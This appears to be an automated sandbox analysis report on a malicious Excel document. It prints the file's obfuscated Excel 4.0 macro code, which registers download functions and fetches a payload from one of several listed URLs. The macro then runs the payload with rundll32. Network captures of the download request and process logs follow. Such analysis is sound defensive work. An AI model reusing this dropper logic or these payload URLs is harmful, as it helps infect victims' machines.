                                                                                                                                                    Contains VBA Macros:

                                                                                                                                                    Macro 4.0 Code

                                                                                                                                                    ,,,,,,,,,,,,=B154(),"=FORMULA.FILL(kOTI!U54&kOTI!U55&kOTI!U56&kOTI!U57&kOTI!U58&kOTI!U59,BB53)","=FORMULA.FILL(kOTI!AC56,HI18807)","=EXEC(""r""&kOTI!AC60&"" ""&kOTI!AC59&"",D""&kOTI!AC61)",=B156(),=C156(),=HALT()"=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)","=FORMULA.FILL(kOTI!V53&kOTI!V54&kOTI!V55&kOTI!V56&kOTI!V57&kOTI!V58&kOTI!V59&kOTI!V60&kOTI!V61&kOTI!V62&kOTI!V63&kOTI!V64&kOTI!V65&kOTI!V66&kOTI!V67&kOTI!V68&kOTI!V69&kOTI!V70,HZ48004)","=FORMULA.FILL(kOTI!AC57,AN32726)","=Vuolasd(GT17028,AQ4875,1)",=B158(),=C158(),,"=FORMULA.FILL(kOTI!U62&kOTI!U63&kOTI!U64&kOTI!U65&kOTI!U66&kOTI!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)",,=B160(),=C160(),,"=FORMULA.FILL(kOTI!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)",=B162(),=C162(),"=Niokaser(0,GT17028,AQ4875,0,0)","=FORMULA.FILL(kOTI!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(kOTI!AC60,AS41071)",=A161(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(kOTI!AC61,HG9961)",,,=C154(),,,,,,,,,"=INDEX(B175:B181,RANDBETWEEN(1,8))&B170",,,"=RANDBETWEEN(2222222,8888888)&"".jpg""",,,,,,,,,,,,,,,refillexpress.in/bbrwhodjdi/,,,www.hitkiss.com/ecnamkijuudz/,,,test.limulustest.ru/invzovg/,,,granadaafuegolento.com/hkjwjolm/,,,gulabengineeringworks.in.net/bbndonbik/,,,infire-krby.sk/zzpbvheke/,,,kanaimukherjee.com/wfratccnjna/,,

                                                                                                                                                    Network Behavior

                                                                                                                                                    Network Port Distribution

                                                                                                                                                    TCP Packets

                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                    Jan 26, 2021 21:10:49.653554916 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:10:49.706918001 CET8049716188.225.73.5192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:49.707068920 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:10:49.707648993 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:10:49.760847092 CET8049716188.225.73.5192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:49.850101948 CET8049716188.225.73.5192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:49.850199938 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:11:54.855468988 CET8049716188.225.73.5192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:54.855792046 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:12:35.847682953 CET4971680192.168.2.5188.225.73.5
                                                                                                                                                    Jan 26, 2021 21:12:35.900573969 CET8049716188.225.73.5192.168.2.5

                                                                                                                                                    UDP Packets

                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                    Jan 26, 2021 21:10:35.684644938 CET5244153192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:35.701917887 CET53524418.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:36.390256882 CET6217653192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:36.407040119 CET53621768.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:37.027504921 CET5959653192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:37.056317091 CET53595968.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:38.143611908 CET6529653192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:38.162349939 CET53652968.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:39.225007057 CET6318353192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:39.242619991 CET53631838.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:43.499650955 CET6015153192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:43.515209913 CET53601518.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:44.693429947 CET5696953192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:44.709671974 CET53569698.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:45.898883104 CET5516153192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:45.916420937 CET53551618.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:46.326292038 CET5475753192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:46.373680115 CET53547578.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:47.338001966 CET5475753192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:47.355215073 CET53547578.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:48.347213030 CET5475753192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:48.365237951 CET53547578.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:49.579590082 CET4999253192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:49.651237965 CET53499928.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:49.753144026 CET6007553192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:49.770957947 CET53600758.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:50.374758005 CET5475753192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:50.389930964 CET53547578.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:54.369328022 CET5475753192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:54.385229111 CET53547578.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:10:58.189502954 CET5501653192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:10:58.207428932 CET53550168.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:03.996503115 CET6434553192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:11:04.011961937 CET53643458.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:21.576937914 CET5712853192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:11:21.600649118 CET53571288.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:25.526669025 CET5479153192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:11:25.541836977 CET53547918.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:27.304486036 CET5046353192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:11:27.319680929 CET53504638.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:11:31.283710957 CET5039453192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:11:31.303036928 CET53503948.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:12:10.169959068 CET5853053192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:12:10.185094118 CET53585308.8.8.8192.168.2.5
                                                                                                                                                    Jan 26, 2021 21:12:12.003102064 CET5381353192.168.2.58.8.8.8
                                                                                                                                                    Jan 26, 2021 21:12:12.035248995 CET53538138.8.8.8192.168.2.5

                                                                                                                                                    DNS Queries

                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                    Jan 26, 2021 21:10:49.579590082 CET192.168.2.58.8.8.80x9583Standard query (0)test.limulustest.ruA (IP address)IN (0x0001)

                                                                                                                                                    DNS Answers

                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                    Jan 26, 2021 21:10:49.651237965 CET8.8.8.8192.168.2.50x9583No error (0)test.limulustest.ru188.225.73.5A (IP address)IN (0x0001)

                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                    • test.limulustest.ru

                                                                                                                                                    HTTP Packets

                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                    0192.168.2.549716188.225.73.580C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                    Jan 26, 2021 21:10:49.707648993 CET132OUTGET /invzovg/5319402.jpg HTTP/1.1
                                                                                                                                                    Accept: */*
                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                    Host: test.limulustest.ru
                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                    Jan 26, 2021 21:10:49.850101948 CET133INHTTP/1.1 200 OK
                                                                                                                                                    Server: nginx/1.16.1
                                                                                                                                                    Date: Tue, 26 Jan 2021 20:10:49 GMT
                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                    Connection: keep-alive
                                                                                                                                                    X-Powered-By: PHP/7.1.28
                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                    Data Ascii: 0


                                                                                                                                                    Code Manipulations

                                                                                                                                                    Statistics

                                                                                                                                                    CPU Usage

                                                                                                                                                    Click to jump to process

                                                                                                                                                    Memory Usage

                                                                                                                                                    Click to jump to process

                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                    Behavior

                                                                                                                                                    Click to jump to process

                                                                                                                                                    System Behavior

                                                                                                                                                    General

                                                                                                                                                    Start time:21:10:44
                                                                                                                                                    Start date:26/01/2021
                                                                                                                                                    Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                    Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                    Imagebase:0xa80000
                                                                                                                                                    File size:27110184 bytes
                                                                                                                                                    MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                    Reputation:high

                                                                                                                                                    General

                                                                                                                                                    Start time:21:10:49
                                                                                                                                                    Start date:26/01/2021
                                                                                                                                                    Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                    Commandline:rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
                                                                                                                                                    Imagebase:0x840000
                                                                                                                                                    File size:61952 bytes
                                                                                                                                                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                    Reputation:high

                                                                                                                                                    Disassembly

                                                                                                                                                    Code Analysis

                                                                                                                                                    Reset < >